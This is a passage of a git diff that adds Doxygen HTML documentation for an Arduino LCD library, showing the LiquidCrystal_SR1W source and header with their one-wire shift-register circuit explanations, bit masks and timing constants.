148  void setBacklight ( uint8_t value );
+
149 
+
150 private:
+
151 
+
157  int init();
+
158 
+
174  void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
175  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+
176 
+
185  void write4bits(uint8_t value, uint8_t mode);
+
186 
+
193  void pulseEnable(uint8_t);
+
194 
+
195 
+
196  uint8_t _Addr; // I2C Address of the IO expander
+
197  uint8_t _backlightPinMask; // Backlight IO pin mask
+
198  uint8_t _backlightStsMask; // Backlight status mask
+
199  SI2CIO _i2cio; // I2CIO PCF8574* expansion module driver I2CLCDextraIO
+
200  uint8_t _En; // LCD expander word for enable pin
+
201  uint8_t _Rw; // LCD expander word for R/W pin
+
202  uint8_t _Rs; // LCD expander word for Register Select pin
+
203  uint8_t _data_pins[4]; // LCD data lines
+
204 
+
205 };
+
206 
+
207 #endif
+
Definition: LCD.h:187
+
virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
Definition: LiquidCrystal_SI2C.cpp:147
+
Definition: LiquidCrystal_SI2C.h:41
+
LiquidCrystal_SI2C(uint8_t lcd_Addr)
Definition: LiquidCrystal_SI2C.cpp:99
+
Definition: SI2CIO.h:42
+
void setBacklight(uint8_t value)
Definition: LiquidCrystal_SI2C.cpp:170
+
void setBacklightPin(uint8_t value, t_backlighPol pol)
Definition: LiquidCrystal_SI2C.cpp:161
+
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_SI2C.cpp:243
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp.html new file mode 100644 index 0000000..3d711b8 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp.html @@ -0,0 +1,116 @@ + + + + +LCD Library: LiquidCrystal_SR1W.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR1W.cpp File Reference
+
+ +
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp_source.html new file mode 100644 index 0000000..0a2d904 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp_source.html @@ -0,0 +1,363 @@ + + + + +LCD Library: LiquidCrystal_SR1W.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR1W.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created/Adapted by Stephen Erisman 2013-07-06
+00003 // Copyright 2013 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR1W.cpp
+00013 // Connects a hd44780 LCD using 1 pin from the Arduino, via an 8-bit Latching
+00014 // ShiftRegister (SR1W from now on).
+00015 // 
+00016 // @brief 
+00017 // This is an optimized implementation of the 1-wire shift concept developed by
+00018 // Roman Black (http://www.romanblack.com/shift1.htm) that also makes use of
+00019 // (and merges) the diode-resistor AND "gate" concept (http://www.rentron.com/Myke1.htm)
+00020 // as well as introducing some new and original ideas (particularly how HW_CLEAR works).
+00021 // 
+00022 //
+00023 // See the corresponding SR1W header file for full details.
+00024 //
+00025 // History
+00026 // 2013.07.31 serisman - fixed potential interrupt bug and made more performance optimizations
+00027 // 2013.07.10 serisman - more performance optimizations and modified the HW_CLEAR circuit a bit
+00028 // 2013.07.09 serisman - added an even faster version that performs the clear in hardware
+00029 // 2013.07.08 serisman - changed code to shift data MSB first to match SR2W
+00030 // 2013.07.07 serisman - major speed optimization
+00031 // 2013.07.06 serisman - created/modified from SR2W and FastIO sources to create SR1W
+00032 // @author  S. Erisman - arduino@serisman.com
+00033 // ---------------------------------------------------------------------------
+00034 
+00035 #include "LiquidCrystal_SR1W.h"
+00036 
+00037 // CONSTRUCTORS
+00038 // ---------------------------------------------------------------------------
+00039 // Assuming 1 line 8 pixel high font
+00040 LiquidCrystal_SR1W::LiquidCrystal_SR1W (uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol)
+00041 {
+00042         init ( srdata, circuitType, blpol, 1, 0 );
+00043 }
+00044 
+00045 // PRIVATE METHODS
+00046 // ---------------------------------------------------------------------------
+00047 
+00048 //
+00049 // init
+00050 void LiquidCrystal_SR1W::init(uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol, uint8_t lines, uint8_t font)
+00051 {
+00052         _srRegister = fio_pinToOutputRegister(srdata);
+00053         _srMask = fio_pinToBit(srdata);
+00054    
+00055         _circuitType = circuitType;
+00056    
+00057         _blPolarity = blpol;
+00058    
+00059         _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00060    
+00061    clearSR();
+00062    
+00063         backlight(); // set default backlight state to on
+00064 }
+00065 
+00066 //
+00067 // clearSR
+00068 uint8_t LiquidCrystal_SR1W::clearSR()
+00069 {
+00070         uint8_t numDelays = 0;
+00071    
+00072         // Store these as local variables for extra performance (and smaller compiled sketch size)
+00073         fio_register srRegister = _srRegister;
+00074         fio_bit srMask = _srMask;
+00075    
+00076         // Set the Serial PIN to a LOW state
+00077         SR1W_ATOMIC_WRITE_LOW(srRegister, srMask);
+00078    
+00079         // We need to delay to make sure the Data and Latch/EN capacitors are fully discharged
+00080         // This also triggers the EN pin because of the falling edge.
+00081         SR1W_DELAY();
+00082    
+00083         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00084         {
+00085                 // Pre-calculate these values for extra performance and to make sure the clock pulse is as quick as possible
+00086                 fio_bit reg_val = *srRegister;
+00087                 fio_bit bit_low = reg_val & ~srMask;
+00088                 fio_bit bit_high = reg_val | srMask;
+00089       
+00090                 // Clear the shift register (without triggering the Latch/EN pins)
+00091                 // We only need to shift 7 bits here because the subsequent HIGH transistion will also shift a '0' in.
+00092                 for (int8_t i = 6; i>=0; i--)
+00093                 {
+00094                         // Shift in a '0' (NOTE: This clock pulse needs to execute as quickly as possible)
+00095                         *srRegister = bit_high;
+00096                         *srRegister = bit_low;
+00097                 }
+00098       
+00099                 // Set the Serial PIN to a HIGH state so the next nibble/byte can be loaded
+00100                 // This also shifts the 8th '0' bit in.
+00101                 *srRegister = bit_high;
+00102         }
+00103    
+00104         // Give the Data capacitor a chance to fully charge
+00105         SR1W_DELAY();
+00106    
+00107         return numDelays;
+00108 }
+00109 
+00110 //
+00111 // loadSR
+00112 uint8_t LiquidCrystal_SR1W::loadSR(uint8_t val)
+00113 {
+00114         uint8_t numDelays = 0;
+00115    
+00116         // Store these as local variables for extra performance (and smaller compiled sketch size)
+00117         fio_register srRegister = _srRegister;
+00118         fio_bit srMask = _srMask;
+00119    
+00120         // NOTE: This assumes the Serial PIN is already HIGH and the Data capacitor is fully charged
+00121         uint8_t previousBit = 1;
+00122    
+00123         // Send the data to the shift register (MSB first)
+00124         for (int8_t i = 7; i>=0; i--)
+00125         {
+00126                 if (val & 0x80)
+00127                 {
+00128                         if (previousBit == 0)
+00129                         {
+00130                                 // We need to make sure the Data capacitor has fully recharged
+00131                                 SR1W_DELAY();
+00132                         }
+00133          
+00134                         previousBit = 1;
+00135          
+00136                         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00137                         {
+00138                                 // Pre-calculate these values to make sure the clock pulse is as quick as possible
+00139                                 fio_bit reg_val = *srRegister;
+00140                                 fio_bit bit_low = reg_val & ~srMask;
+00141                                 fio_bit bit_high = reg_val | srMask;
+00142             
+00143                                 // Shift in a '1' (NOTE: This clock pulse needs to execute as quickly as possible)
+00144                                 *srRegister = bit_low;
+00145                                 *srRegister = bit_high;
+00146                         }
+00147                 }
+00148                 else
+00149                 {
+00150                         // Shift in a '0'
+00151                         SR1W_ATOMIC_WRITE_LOW(srRegister, srMask);
+00152          
+00153                         // We need to make sure the Data capacitor has fully discharged
+00154                         SR1W_DELAY();
+00155          
+00156                         previousBit = 0;
+00157          
+00158                         SR1W_ATOMIC_WRITE_HIGH(srRegister, srMask);
+00159                 }
+00160                 val <<= 1;
+00161         }
+00162    
+00163         // NOTE: Serial PIN is currently HIGH
+00164    
+00165         // For SW_CLEAR, we need to delay to make sure the Latch/EN capacitor is fully charged.
+00166         //   This triggers the Latch pin because of the rising edge.
+00167         // For HW_CLEAR, we need to delay to give the hardware time to perform the clear.
+00168         //   This also gives the Data capacitor a chance to fully charge
+00169         SR1W_DELAY();
+00170    
+00171    if (_circuitType == SW_CLEAR)
+00172         {
+00173                 // Clear the shift register to get ready for the next nibble/byte
+00174                 // This also discharges the Latch/EN capacitor which finally triggers the EN pin because of the falling edge.
+00175                 numDelays += clearSR();
+00176    }
+00177         else
+00178         {
+00179                 // For some reason HW_CLEAR isn't totally stable unless we delay a little bit more.
+00180                 // TODO... figure this out...
+00181                 SR1W_DELAY();
+00182         }
+00183    
+00184         return numDelays;
+00185 }
+00186 
+00187 // PUBLIC METHODS
+00188 // ---------------------------------------------------------------------------
+00189 
+00190 
+00191 /************ low level data pushing commands **********/
+00192 //
+00193 // send
+00194 void LiquidCrystal_SR1W::send(uint8_t value, uint8_t mode)
+00195 {
+00196         uint8_t numDelays = 0;
+00197    
+00198         uint8_t data;
+00199    
+00200         if ( mode != FOUR_BITS )
+00201         {
+00202                 // upper nibble
+00203                 data = ( mode == DATA ) ? SR1W_RS_MASK : 0;
+00204                 data |= SR1W_EN_MASK | SR1W_UNUSED_MASK;
+00205                 data |= _blMask;
+00206       
+00207                 if (value & _BV(4))     data |= SR1W_D4_MASK;
+00208                 if (value & _BV(5)) data |= SR1W_D5_MASK;
+00209                 if (value & _BV(6)) data |= SR1W_D6_MASK;
+00210                 if (value & _BV(7)) data |= SR1W_D7_MASK;
+00211       
+00212                 numDelays += loadSR(data);
+00213         }
+00214    
+00215         // lower nibble
+00216         data = ( mode == DATA ) ? SR1W_RS_MASK : 0;
+00217         data |= SR1W_EN_MASK | SR1W_UNUSED_MASK;
+00218         data |= _blMask;
+00219    
+00220         if (value & _BV(0))     data |= SR1W_D4_MASK;
+00221         if (value & _BV(1)) data |= SR1W_D5_MASK;
+00222         if (value & _BV(2)) data |= SR1W_D6_MASK;
+00223         if (value & _BV(3)) data |= SR1W_D7_MASK;
+00224    
+00225         numDelays += loadSR(data);
+00226    
+00227         // Make sure we wait at least 40 uS between bytes.
+00228         unsigned int totalDelay = numDelays * SR1W_DELAY_US;
+00229         if (totalDelay < 40)
+00230                 delayMicroseconds(40 - totalDelay);
+00231 }
+00232 
+00233 //
+00234 // setBacklight
+00235 void LiquidCrystal_SR1W::setBacklight ( uint8_t value )
+00236 { 
+00237         // Check for polarity to configure mask accordingly
+00238         // ----------------------------------------------------------
+00239         if  ( ((_blPolarity == POSITIVE) && (value > 0)) || 
+00240         ((_blPolarity == NEGATIVE ) && ( value == 0 )) )
+00241         {
+00242                 _blMask = SR1W_BL_MASK;
+00243         }
+00244         else 
+00245         {
+00246                 _blMask = 0;
+00247         }
+00248    
+00249         // Send a dummy (non-existant) command to allow the backlight PIN to be latched.
+00250         // The seems to be safe because the LCD appears to treat this as a NOP.
+00251         send(0, COMMAND);
+00252 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h.html new file mode 100644 index 0000000..630abda --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h.html @@ -0,0 +1,380 @@ + + + + +LCD Library: LiquidCrystal_SR1W.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
LiquidCrystal_SR1W.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + + + + + + +

+Classes

class  LiquidCrystal_SR1W

+Defines

#define SR1W_ATOMIC_WRITE_HIGH(reg, mask)   ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg |= mask; }
#define SR1W_ATOMIC_WRITE_LOW(reg, mask)   ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg &= ~mask; }
#define SR1W_BL_MASK   0x20
#define SR1W_D4_MASK   0x10
#define SR1W_D5_MASK   0x08
#define SR1W_D6_MASK   0x04
#define SR1W_D7_MASK   0x02
#define SR1W_DELAY()   { delayMicroseconds(SR1W_DELAY_US); numDelays++; }
#define SR1W_DELAY_US   5
#define SR1W_EN_MASK   0x80
#define SR1W_RS_MASK   0x40
#define SR1W_UNUSED_MASK   0x01

+Enumerations

enum  t_sr1w_circuitType { SW_CLEAR, +HW_CLEAR + }
+

Define Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
#define SR1W_ATOMIC_WRITE_HIGH( reg,
 mask 
)   ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg |= mask; }
+
+
+ +

Definition at line 294 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define SR1W_ATOMIC_WRITE_LOW( reg,
 mask 
)   ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg &= ~mask; }
+
+
+ +

Definition at line 293 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_BL_MASK   0x20
+
+
+ +

Definition at line 289 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_D4_MASK   0x10
+
+
+ +

Definition at line 288 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_D5_MASK   0x08
+
+
+ +

Definition at line 287 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_D6_MASK   0x04
+
+
+ +

Definition at line 286 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_D7_MASK   0x02
+
+
+ +

Definition at line 285 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + + + + +
#define SR1W_DELAY()   { delayMicroseconds(SR1W_DELAY_US); numDelays++; }
+
+
+ +

Definition at line 279 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_DELAY_US   5
+
+
+ +

Definition at line 278 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_EN_MASK   0x80
+
+
+ +

Definition at line 291 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_RS_MASK   0x40
+
+
+ +

Definition at line 290 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_UNUSED_MASK   0x01
+
+
+ +

Definition at line 284 of file LiquidCrystal_SR1W.h.

+ +
+
+

Enumeration Type Documentation

+ +
+
+ + + + +
enum t_sr1w_circuitType
+
+
+
Enumerator:
+ + +
SW_CLEAR  +
HW_CLEAR  +
+
+
+ +

Definition at line 297 of file LiquidCrystal_SR1W.h.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h_source.html new file mode 100644 index 0000000..d154880 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h_source.html @@ -0,0 +1,429 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR1W.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR1W.h
+
+
+
1 
+
2 // ---------------------------------------------------------------------------
+
3 // Created/Adapted by Stephen Erisman 2013-07-06
+
4 // Copyright 2013 - Under creative commons license 3.0:
+
5 // Attribution-ShareAlike CC BY-SA
+
6 //
+
7 // This software is furnished "as is", without technical support, and with no
+
8 // warranty, express or implied, as to its usefulness for any purpose.
+
9 //
+
10 // @file LiquidCrystal_SR1W.h
+
11 // Connects a hd44780 LCD using 1 pin from the Arduino, via an 8-bit Latching
+
12 // ShiftRegister (SR1W from now on).
+
13 //
+
14 // @brief
+
15 // This is the 1 wire shift register interface class for the LCD library
+
16 //
+
17 // The functionality provided by this class and its base class is a superset of
+
18 // the original functionality of the Arduino LiquidCrystal library and can
+
19 // be used as such.
+
20 // See the LCD class for a full description of the API functions available.
+
21 //
+
22 // It works with a 8-bit latched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+
23 // shift register, and an hd44780 LCD in 4-bit mode.
+
24 // The 74HC595 shift register has been tested.
+
25 //
+
26 //
+
27 // 1 Pin required from the Arduino:
+
28 // - Serial PIN:
+
29 // The Serial PIN is wired directly to the shift register's Clock PIN and its
+
30 // unaltered signal directly triggers the Clock on every LOW to HIGH transition.
+
31 //
+
32 // Additionally, the Serial PIN is wired through a resistor capacitor (RC) filter to
+
33 // the shift register's Data PIN. During a quick transition of the Serial PIN the
+
34 // RC filter will maintain the Data PIN's previous value because the capacitor isn't
+
35 // given enough time to charge (or discharge) to the alternate state. If the transition
+
36 // is held for enough time, however, the RC capacitor will charge (or discharge) and the
+
37 // value seen by the Data PIN will have changed state.
+
38 //
+
39 // There are two circuit versions that behave differently for Latch, Enable, and Clear:
+
40 //
+
41 // HW_CLEAR version:
+
42 // In this version the shift register's Latch and LCD's Enable PINs are wired directly to
+
43 // the shift register's Q'H output. The shift register's /Clear PIN is then wired up
+
44 // through two logic "gates": first QH and Q'H are AND'd together with a diode-resistor
+
45 // "gate" the output of which is NAND'd with VCC using a resistor-NPN-resistor "gate".
+
46 // So, /CLR = ((QH AND Q'H) NAND VCC). We also put a capacitor on the NPN base to GND
+
47 // to delay the signal a bit and allow the Latch and EN signals some extra time to trigger.
+
48 //
+
49 // This all fits together as follows:
+
50 // 1. We shift in a '1'.
+
51 // 2. Ws shift in the other 7 bits.
+
52 // 3. At this point the first '1' has been shifted into Q'H causing it to go HIGH.
+
53 // 4. When Q'H is HIGH it causes Latch and EN to also go HIGH.
+
54 // 5. When Latch transitions to HIGH it changes the shift register outputs to the bits
+
55 // that were shifted in.
+
56 // 6. This causes QH to go HIGH (if it wasn't already).
+
57 // 7. Now that QH AND Q'H are both HIGH they causes the base capacitor to start charging.
+
58 // 8. When the capacitor has charged enough the transistor brings /CLR LOW.
+
59 // 8. This will cause /CLR to trigger and the shift register will be cleared
+
60 // (NOTE: This doesn't change the latched outputs)
+
61 // 9. The clearing of the shift register causes Q'H to go LOW.
+
62 // 9. When Q'H is LOW it causes Latch and EN to also go LOW.
+
63 // 10. When EN transitions to LOW the LCD reads in the bits on the shift register pins
+
64 // and does it's thing.
+
65 // 11. Now that Q'H is LOW the base capacitor starts discharging.
+
66 // 12. When the capacitor has discharged enough the transistor will stop sinking /CLR.
+
67 // 13. This will cause /CLR to be pulled back up to HIGH by the VCC pullup resistor
+
68 // (it will stay that way until our next nibble/byte has been shifted in)
+
69 // 14. We are now ready for our next nibble/byte.
+
70 //
+
71 //
+
72 // SW_CLEAR version:
+
73 // In this version the Serial PIN is wired to the shift register's Latch and LCD's Enable
+
74 // PINs through another RC filter. These PINs are also wired through a diode (AND "gate")
+
75 // tied to the shift register's Q'H output. This combination means that the Latch and
+
76 // Enable PINs will be held LOW as long as EITHER the Q'H or RC output is LOW.
+
77 //
+
78 // This all fits together as follows:
+
79 // 1. We shift in a '1'.
+
80 // 2. We shift in the other 7 bits. (NOTE: We leave Serial PIN HIGH at the end of this)
+
81 // 3. At this point the first '1' has been shifted into Q'H causing it to go HIGH.
+
82 // (NOTE: Up until this time Q'H has been LOW so the attached diode has been keeping
+
83 // the Latch/EN pins LOW.)
+
84 // 4. Now that Q'H is HIGH it causes the attached diode to stop discharging the Latch/EN
+
85 // capacitor. We delay here for a while to make sure it is fully charged.
+
86 // 5. When the capacitor has charged enough Latch/EN will be HIGH
+
87 // 5. When Latch transitions to HIGH it changes the shift register outputs to what was
+
88 // shifted in.
+
89 // 6. We now bring the Serial PIN LOW and wait for the Latch/EN capacitor to discharge.
+
90 // 7. When the capacitor has discharged enough Latch/EN will be LOW
+
91 // 8. When EN transitions to LOW the LCD reads in the bits on the shift register pins
+
92 // and does it's thing.
+
93 // 9. We now shift in '0' 8 times (as quickly as possible).
+
94 // 10. If we keep the LOW to HIGH to LOW pulses short enough while shifting in the '0's
+
95 // the Latch/EN capacitor won't have time to charge to a point where it will re-trigger
+
96 // the Latch/EN pins.
+
97 // 11. Now Q'H will be LOW and the shift register has been cleared (NOTE: This doesn't
+
98 // change the latched outputs.)
+
99 // 12. We now bring the Serial PIN HIGH again and wait for the Data capacitor to recharge.
+
100 // 13. When the Data capacitor has fully charged we are ready for our next nibble/byte.
+
101 //
+
102 //
+
103 // These designs incorporate (and merge) ideas originally found here (1-wire concept):
+
104 // http://www.romanblack.com/shift1.htm
+
105 // and here (diode-resistor AND "gate" EN control):
+
106 // http://www.rentron.com/Myke1.htm
+
107 // as well as introducing some new and original ideas (particularly how HW_CLEAR works).
+
108 //
+
109 // Because of its use of the diode AND "gate", the SW_CLEAR design allows for faster sending
+
110 // of data to the LCD compared to Roman's original design. With the proposed 5uS delay (see
+
111 // notes below), a byte can be sent to the LCD in as little as 30 uS (plus overhead) when
+
112 // sending all 1's. This increases to as much as 190 uS (plus overhead) when sending all 0's.
+
113 // This is in comparison to Roman's estimate of around 3-4 mS to send a byte. So this
+
114 // implementation is 15-133 times faster for the cost of a single (1N4148 or similar) diode.
+
115 //
+
116 // The HW_CLEAR version is even faster as it can completely eliminate the clearSR() call as
+
117 // well as the delays that are needed to latch the data in the SW_CLEAR version.
+
118 //
+
119 //
+
120 // Default Shift Register Bits - Shifted MSB first:
+
121 // Bit #0 (QA) - not used
+
122 // Bit #1 (QB) - connects to LCD data input D7
+
123 // Bit #2 (QC) - connects to LCD data input D6
+
124 // Bit #3 (QD) - connects to LCD data input D5
+
125 // Bit #4 (QE) - connects to LCD data input D4
+
126 // Bit #5 (QF) - optional backlight control
+
127 // Bit #6 (QG) - connects to RS (Register Select) on the LCD
+
128 // Bit #7 (QH) - used for /CLR on the HW_CLEAR version (cannot be changed)
+
129 // (Q'H) - used for Latch/EN (via the diode AND "gate") (cannot be changed)
+
130 //
+
131 // NOTE: Any of these can be changed around as needed EXCEPT Bit #7 (QH and Q'H).
+
132 //
+
133 //
+
134 // Circuit Types (for the 74HC595)
+
135 // -------------------------------
+
136 // The 74HC595 is a latching shift register. See the explanations above for how these circuits
+
137 // work.
+
138 //
+
139 //
+
140 // HW_CLEAR version: (Faster but higher part count)
+
141 // ------------------------------------------------
+
142 //
+
143 // 74HC595 (VCC)
+
144 // +----u----+ | 2.2nF
+
145 // (LCD D7)------------1-|QB VCC|-16--+ +----||----(GND)
+
146 // (LCD D6)------------2-|QC QA|-15 |
+
147 // (LCD D5)------------3-|QD SER|-14-------+--[ Resistor ]--+
+
148 // (LCD D4)------------4-|QE /OE|-13--(GND) 1.5k |
+
149 // (BL Circuit)--------5-|QF RCK|-12-----+ |
+
150 // | | \ |
+
151 // (LCD RS)------------6-|QG SCK|-11-------)----------------+--(Serial PIN)
+
152 // | | |
+
153 // +-------7-|QH /CLR|-10-------)--+--[ Resistor ]--(VCC)
+
154 // | | | / | 1k
+
155 // | +--8-|GND Q'H|--9-----+ |
+
156 // | | +---------+ | | (GND)--(LCD RW)
+
157 // | | 0.1uF | \
+
158 // | (GND)-----||----(VCC) +------)--------------(LCD EN)
+
159 // | | /
+
160 // |----|<|----+--[ Resistor ]--| |
+
161 // diode | 1k C
+
162 // | |
+
163 // +-------------+---B-|> (NPN)
+
164 // | |
+
165 // (2.2nF) = E
+
166 // | |
+
167 // (GND) (GND)
+
168 //
+
169 //
+
170 // SW_CLEAR version: (Lower part count but slower)
+
171 // -----------------------------------------------
+
172 //
+
173 // 74HC595 (VCC)
+
174 // +----u----+ | 2.2nF
+
175 // (LCD D7)------------1-|QB VCC|-16--+ +----||----(GND)
+
176 // (LCD D6)------------2-|QC QA|-15 |
+
177 // (LCD D5)------------3-|QD SER|-14---------+--[ Resistor ]--+
+
178 // (LCD D4)------------4-|QE /OE|-13--(GND) 1.5k |
+
179 // (BL Circuit)--------5-|QF RCK|-12---------+ |
+
180 // | | \ |
+
181 // (LCD RS)------------6-|QG SCK|-11-----------)--------------+--(Serial PIN)
+
182 // 7-|QH /CLR|-10--(VCC) / |
+
183 // +--8-|GND Q'H|--9---|<|---+--[ Resistor ]--+
+
184 // | +---------+ diode | 1.5k
+
185 // | |
+
186 // | 0.1uF |
+
187 // (GND)-----||----(VCC) +----||----(GND)
+
188 // | 2.2nF
+
189 // (LCD EN)-------------------------------------+
+
190 // (LCD RW)--(GND)
+
191 //
+
192 //
+
193 // In either case the LCD RW pin is hardwired to GND meaning we will only be able to write
+
194 // to the LCD.
+
195 // Therefore, the Busy Flag (BF, data bit D7) is not able to be read and we have to make use
+
196 // of the minimum delay time constraints. This isn't really a problem because it usually
+
197 // takes us longer to shift and latch the data than the minimum delay anyway. For now, we
+
198 // simply keep track of our delays and add more delay at the end to get to at least 37 uS.
+
199 //
+
200 //
+
201 // Backlight Control Circuit
+
202 // -------------------------
+
203 // Since we are using the latching nature of the shift resiter we don't need the extra
+
204 // backlight circuitry that SR2W uses. Keeping it around, however, would still work because
+
205 // the circuit just slows down the transitions to the mosfet a bit.
+
206 //
+
207 // Here are two more optimized versions that can be used.
+
208 //
+
209 //
+
210 // NPN Transistor version: (Cheaper but more power draw and higher part count)
+
211 // ---------------------------------------------------------------------------
+
212 //
+
213 // (value depends on LCD, 100ohm is usually safe)
+
214 // (LCD BL anode)---[ resistor ]---(VCC)
+
215 //
+
216 // (LCD BL cathode)---------------+
+
217 // |
+
218 // C
+
219 // |
+
220 // (BL input)--[ Resistor ]---B-|> (NPN)
+
221 // 1k |
+
222 // E
+
223 // |
+
224 // (GND)
+
225 //
+
226 // NOTE: The Bate resistor is needed because the NPN is current fed. For lower
+
227 // power draw, try a 10k resistor.
+
228 //
+
229 //
+
230 // N-CH Mosfet version: (More costly but less power draw and lower part count)
+
231 // ---------------------------------------------------------------------------
+
232 //
+
233 // (value depends on LCD, 100ohm is usually safe)
+
234 // (LCD BL anode)---[ resistor ]---(VCC)
+
235 //
+
236 // (LCD BL cathode)---------------+
+
237 // |
+
238 // D
+
239 // |
+
240 // (BL input)----------------G-|-< (2N7000 FET)
+
241 // |
+
242 // S
+
243 // |
+
244 // (GND)
+
245 //
+
246 // NOTE: Gate resistor not needed because the mosfet is voltage fed and only really
+
247 // pulls current while switching.
+
248 //
+
249 // In either case, when the BL input is HIGH the LCD backlight will turn on.
+
250 //
+
251 //
+
252 // History
+
253 // 2013.07.31 serisman - fixed potential interrupt bug and made more performance optimizations
+
254 // 2013.07.10 serisman - more performance optimizations and modified the HW_CLEAR circuit a bit
+
255 // 2013.07.09 serisman - added an even faster version that performs the clear in hardware
+
256 // 2013.07.08 serisman - changed code to shift data MSB first to match SR2W
+
257 // 2013.07.07 serisman - major speed optimization
+
258 // 2013.07.06 serisman - created/modified from SR2W source to create SR1W
+
259 // @author S. Erisman - arduino@serisman.com
+
260 // --------------------------------------------------------------------------------
+
261 
+
262 #ifndef _LIQUIDCRYSTAL_SR1W_
+
263 #define _LIQUIDCRYSTAL_SR1W_
+
264 
+
265 #include <inttypes.h>
+
266 #include "LCD.h"
+
267 #include "FastIO.h"
+
268 
+
269 // 1-wire SR timing constants
+
270 // ---------------------------------------------------------------------------
+
271 
+
272 // NOTE:
+
273 // The 1.5k resistor (1.2k - 1.8k with a 20% tolerance)
+
274 // takes between 2.376uS and 4.36uS to fully charge or discharge
+
275 // the 2.2n capacitor (1.98n - 2.42n with a 10% tolerance).
+
276 // We round this up to a 5uS delay to provide an additional safety margin.
+
277 
+
278 #define SR1W_DELAY_US 5
+
279 #define SR1W_DELAY() { delayMicroseconds(SR1W_DELAY_US); numDelays++; }
+
280 
+
281 // 1-wire SR output bit constants
+
282 // ---------------------------------------------------------------------------
+
283 
+
284 #define SR1W_UNUSED_MASK 0x01 // Set unused bit(s) to '1' as they are slightly faster to clock in.
+
285 #define SR1W_D7_MASK 0x02
+
286 #define SR1W_D6_MASK 0x04
+
287 #define SR1W_D5_MASK 0x08
+
288 #define SR1W_D4_MASK 0x10
+
289 #define SR1W_BL_MASK 0x20
+
290 #define SR1W_RS_MASK 0x40
+
291 #define SR1W_EN_MASK 0x80 // This cannot be changed. It has to be the first thing shifted in.
+
292 
+
